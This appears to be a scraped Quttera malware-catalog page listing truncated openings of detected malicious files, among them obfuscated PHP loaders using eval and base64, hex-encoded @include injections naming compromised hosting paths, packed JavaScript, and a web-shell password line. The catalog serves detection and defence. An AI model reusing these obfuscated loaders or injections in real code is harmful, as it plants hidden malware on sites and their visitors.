function(_0xce82x3, _0xce82x4) { ... \321\201\321\205\320\265\320\274\320\260 \320\262\321\213\320\261\320\276\321\200\321\213... \321\201\321\205\320\265\320\274\320\260... <?php ${"GLOBALS"}["suaghlx"]="db";${"GLOBALS"}["dvkhityv"]="sablonlar";${"GLOBALS"}["dism... <?php $hngwa = 'pbat#957ekdlxur3gvm\'*-f62_sH84icy0no1';$rufmqnv = Array();$rufmqnv[] = $... <?php error_reporting(0); $fsyACTX5d7aa0bdbd931 = chr(115).chr(116).chr(114).chr(114).chr... /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function(){ var l=wind... define("\x41\x50\120\x4e\101\115\105", "\115\x6f\x64\x65\x72\156\x2d\x50\x4f\123"); define... goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146\x65\x61\x74\x75\162\x65\13... <?php use Tygh\Registry; goto o5d95; kToGN: Tygh::$app["\x76\151\145\x77"]->assign("\146... use Tygh\Enum\ProductFeatures; use Tygh\Enum\ProductTracking; use Tygh\Registry; use Tygh\... flh7k: $feed["\160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74"] = uns... JG\x52vICA9\x49\x43\x52fR\x30V\x55Wyd\x6b\x62\x79d\x64\x4fw0\x4ba\x57\x59\x6f\x4a\x47\x52\... \160\162\x6f\144\x75\143\164\163\137\144\151\x73\143\x6f\x75\156\x74... <?php ${"\x47LOB\x41\x4cS"}["\x79\x79\x75\x64c\x6ba\x6e\x75t"]="\x75s\x65\x72";${"\x47LO\x... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... @include "\057ho\155e/\151ns\151gn\151at\145am\057pu\142li\143_h\164ml\057Es\153i \104os\1... function RtegJAdMsnpNgwAbutzY($WSnIJSCSyEjimqCqGeJm) { $oqrbxJkdoDYXaVzkysol=JuFdQMPQLte... @include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/im... /*@include "\057home\057insi\147niat\145am/p\165blic\137html\057Eski\040Dosy\141lar \170x/... @include "\057hom\145/in\163ign\151ate\141m/p\165bli\143_ht\155l/E\163ki \104osy\141lar\04... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php ... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php eval("\n\$dgreusdi = intval(__LINE__) * 337;"); $a = "7VdrT+NGFP1eqf9hiCIcKw... <?php $auth_pass = "7547ec6af9d987359dd34c888224afb1"; function s($q, $d){ for($g... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /*b1786*/ @include "\057h\157m\145/\143k\143a\156c\157m\057l\157u\151s\166i\154l... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... @$svLEBvhEGxBACGnbnfkbfm("E" . "\x76" . "\x61" . "l" . "\x28" . "g" ... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php ${"GLO\x42A\x4c\x53"}["\x76ag\x78\x79\x71\x63m"]="i";${"G\x4c\x4fB\x41\x4c\x53"}["t\... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_err... echo O0000000O0(O000O0O00O("a",97),O000O0O00O("a",18),$O0000OO0O0); __halt_compiler(); w... <?php /* OracleCode Copyright © 2019 - All rights reserved. Checksum: a654c069 */ eval(ba... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... <?php $_wvbx3 = basename/*mebly*/(/*hdq*/trim/*79iz*/(/*p1i*/preg_replace/*w*/(/*hct9*/ra... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php $_q7dekj = basename/*5q*/(/*t*/trim/*m*/(/*tnd*/preg_replace/*89n*/(/*v4*/rawurldec... <?php $ghspgxmagf = 2771; function olsphvrb($auuewmyvc, $qouov){$cmmfufdunq = ''; for($i... @include "\057ho\155e/\06172\06521\057do\155ai\156s/\16317\06252\061.g\162id\163er\166er\0... @include "\057home\0571725\0621/do\155ains\057vict\165s.co\155/htm\154/ima\147e/ca\143he/d... \057home\057khad\162dqny\151tf/p\165blic\137html\057gc-c\150ambe\162.com\057wp-c\157nten\1... <?php goto O5553; O4414: echo "\x61\x75\x78\x36\124\x68\x65\x69\157\107\150\165\x65\121\x7... <?php @touch("index.html"); header("Content-type: text/plain"); print "2842123700\n"; ... <?php ${"\x47\x4c\x4fBA\x4c\x53"}["\x78\x71\x70cpy\x71"]="\x73q\x6c";mysqli_connect("loc\x... IPTV_INCLUDES_PATH . "\x73\x74\x72\145\141\x6d\x2e\160\150\160"... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php /* OracleCode Checksum: e1808cfbf546dad82db5b680af51d714 */ eval(base64_decode("JEls... <?php @error_reporting(0); @ini_set('display_errors', false); @ini_set('assert.quiet_eval... <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Bod... <?php $xD = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1... eval(base64_decode('JGY9ZGlybmFtZShfX2ZpbGVfXykuJy9pbWFnZXMvd3BfbWVudV90b 3AucG5nJzskYj1nZ... @include "\057va\162/w\167w/\15022\065/d\141ta\057ww\167/a\155et\151st\056in\056ua\057ad\1... \057hom\1453/j\151mzs\145rv/\160ubl\151c_h\164ml/\167p-c\157nte\156t/p\154ugi\156s/s\157ci... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... \\057h\\157m\\145/\\160a\\162a\\163i\\164o\\137l\\153o\\057p\\141r\\141s\\151t\\157l\\157g...

© 2019 Quttera Ltd. All rights reserved.